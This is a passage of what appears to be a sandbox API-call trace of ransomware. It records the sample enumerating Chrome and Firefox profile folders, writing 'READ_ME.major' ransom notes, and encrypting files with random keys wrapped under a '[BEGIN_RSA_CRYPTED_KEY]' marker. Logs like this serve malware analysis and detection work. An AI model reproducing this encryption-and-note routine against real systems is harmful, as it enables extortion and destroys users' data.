[0207.775] FindNextFileW (in: hFindFile=0x2f2d318, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c2986a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c2986a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.775] FindNextFileW (in: hFindFile=0x2f2d318, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Unindexed Rules", cAlternateFileName="UNINDE~1")) returned 1 [0207.776] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Unindexed Rules\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\subresource filter\\unindexed rules\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1568 [0207.776] WriteFile (in: hFile=0x1568, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.777] CloseHandle (hObject=0x1568) returned 1 [0207.777] FindNextFileW (in: hFindFile=0x2f2d318, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Unindexed Rules", cAlternateFileName="UNINDE~1")) returned 0 [0207.777] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d3d8 [0207.777] FindNextFileW (in: hFindFile=0x2f2d3d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.778] FindNextFileW (in: hFindFile=0x2f2d3d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c2986a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c2986a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.778] FindNextFileW (in: hFindFile=0x2f2d3d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c2986a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c2986a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.778] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d558 [0207.778] FindNextFileW (in: hFindFile=0x2f2d558, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.778] FindNextFileW (in: hFindFile=0x2f2d558, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c2986a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c2986a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.778] FindNextFileW (in: hFindFile=0x2f2d558, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32c2986a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x32c2986a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x32c2986a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.778] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x330096d5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d4d8 [0207.778] FindNextFileW (in: hFindFile=0x2f2d4d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x330096d5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.779] FindNextFileW (in: hFindFile=0x2f2d4d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3462ae18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="cache2", cAlternateFileName="")) returned 1 [0207.779] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1574 [0207.779] WriteFile (in: hFile=0x1574, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.780] CloseHandle (hObject=0x1574) returned 1 [0207.780] FindNextFileW (in: hFindFile=0x2f2d4d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x301f956, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x301f956, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3025b1b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x942, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="directoryLinks.json", cAlternateFileName="DIRECT~1.JSO")) returned 1 [0207.781] FindNextFileW (in: hFindFile=0x2f2d4d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="jumpListCache", cAlternateFileName="JUMPLI~1")) returned 1 [0207.781] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\jumpListCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\jumplistcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1574 [0207.783] WriteFile (in: hFile=0x1574, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.785] CloseHandle (hObject=0x1574) returned 1 [0207.785] FindNextFileW (in: hFindFile=0x2f2d4d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfcae9ac, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="OfflineCache", cAlternateFileName="OFFLIN~1")) returned 1 [0207.785] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\offlinecache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1574 [0207.787] WriteFile (in: hFile=0x1574, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.788] CloseHandle (hObject=0x1574) returned 1 [0207.788] FindNextFileW (in: hFindFile=0x2f2d4d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330096d5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x330096d5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3302f8f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.788] FindNextFileW (in: hFindFile=0x2f2d4d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3d1ad183, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d1ad183, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="safebrowsing", cAlternateFileName="SAFEBR~1")) returned 1 [0207.788] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1574 [0207.886] WriteFile (in: hFile=0x1574, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.887] CloseHandle (hObject=0x1574) returned 1 [0207.887] FindNextFileW (in: hFindFile=0x2f2d4d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4016fa00, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb9f6f531, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xb9f6f531, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="startupCache", cAlternateFileName="STARTU~1")) returned 1 [0207.887] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1574 [0207.916] WriteFile (in: hFile=0x1574, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.918] CloseHandle (hObject=0x1574) returned 1 [0207.918] FindNextFileW (in: hFindFile=0x2f2d4d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe53ad66, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe53ad66, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe53ad66, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="thumbnails", cAlternateFileName="THUMBN~1")) returned 1 [0207.918] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\thumbnails\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\thumbnails\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1574 [0207.923] WriteFile (in: hFile=0x1574, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.924] CloseHandle (hObject=0x1574) returned 1 [0207.924] FindNextFileW (in: hFindFile=0x2f2d4d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x481f73e1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="_CACHE_CLEAN_", cAlternateFileName="_CACHE~1")) returned 1 [0207.924] FindNextFileW (in: hFindFile=0x2f2d4d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x481f73e1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="_CACHE_CLEAN_", cAlternateFileName="_CACHE~1")) returned 0 [0207.924] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0207.924] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_", dwFileAttributes=0x80) returned 1 [0207.924] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\_cache_clean_"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1574 [0207.925] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1) returned 1 [0207.925] ReadFile (in: hFile=0x1574, lpBuffer=0x59d430, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x1, lpOverlapped=0x0) returned 1 [0207.926] SetFilePointer (in: hFile=0x1574, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0207.926] WriteFile (in: hFile=0x1574, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1, lpOverlapped=0x0) returned 1 [0207.927] SetFilePointer (in: hFile=0x1574, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1 [0207.927] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.927] WriteFile (in: hFile=0x1574, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.927] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0207.927] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0207.927] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0207.928] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jqgh00WubvWpKihNRHm76UlSsTZcy5jZwNtrBpqywcff3isyfZXtBPfBdG1ORSEM\ny0oskVbvfTWvrgoeLUOEgYNy7fq2De2KqipaucGXlZcJ2I516TrwP2OCppjU8oUP\no5UaCtfRwm2pvA7AV9g3hBh6MObglsiQgtDIL2pABUXwwuqRW9oy9qV2QTW7MOf7\nDjnHdG4V8F3UPHvywAdd2ri5naEqyvpi7fBkmCDWpLh4/efp9ur5LB6khk+43kOZ\nPrV9Z6e7XbE2RgUkl3IWnuO7/Vc0DEiI+IMmm4ki5RA1Z/LIjcucZaBznRMQjMMl\nX/af9ghetuEqmUHky3aEMA==\n", pcchString=0x2e3f9a8) returned 1 [0207.928] WriteFile (in: hFile=0x1574, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0207.928] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.928] WriteFile (in: hFile=0x1574, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.928] CloseHandle (hObject=0x1574) returned 1 [0207.931] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0207.931] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json", dwFileAttributes=0x80) returned 1 [0207.933] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\directorylinks.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1574 [0207.934] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2370) returned 1 [0207.934] ReadFile (in: hFile=0x1574, lpBuffer=0x66e548, nNumberOfBytesToRead=0x942, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesRead=0x2e3f9b4*=0x942, lpOverlapped=0x0) returned 1 [0207.951] SetFilePointer (in: hFile=0x1574, lDistanceToMove=-2370, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0207.951] WriteFile (in: hFile=0x1574, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x942, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x942, lpOverlapped=0x0) returned 1 [0207.951] SetFilePointer (in: hFile=0x1574, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x942 [0207.951] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.951] WriteFile (in: hFile=0x1574, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.951] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0207.951] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0207.952] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0207.952] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 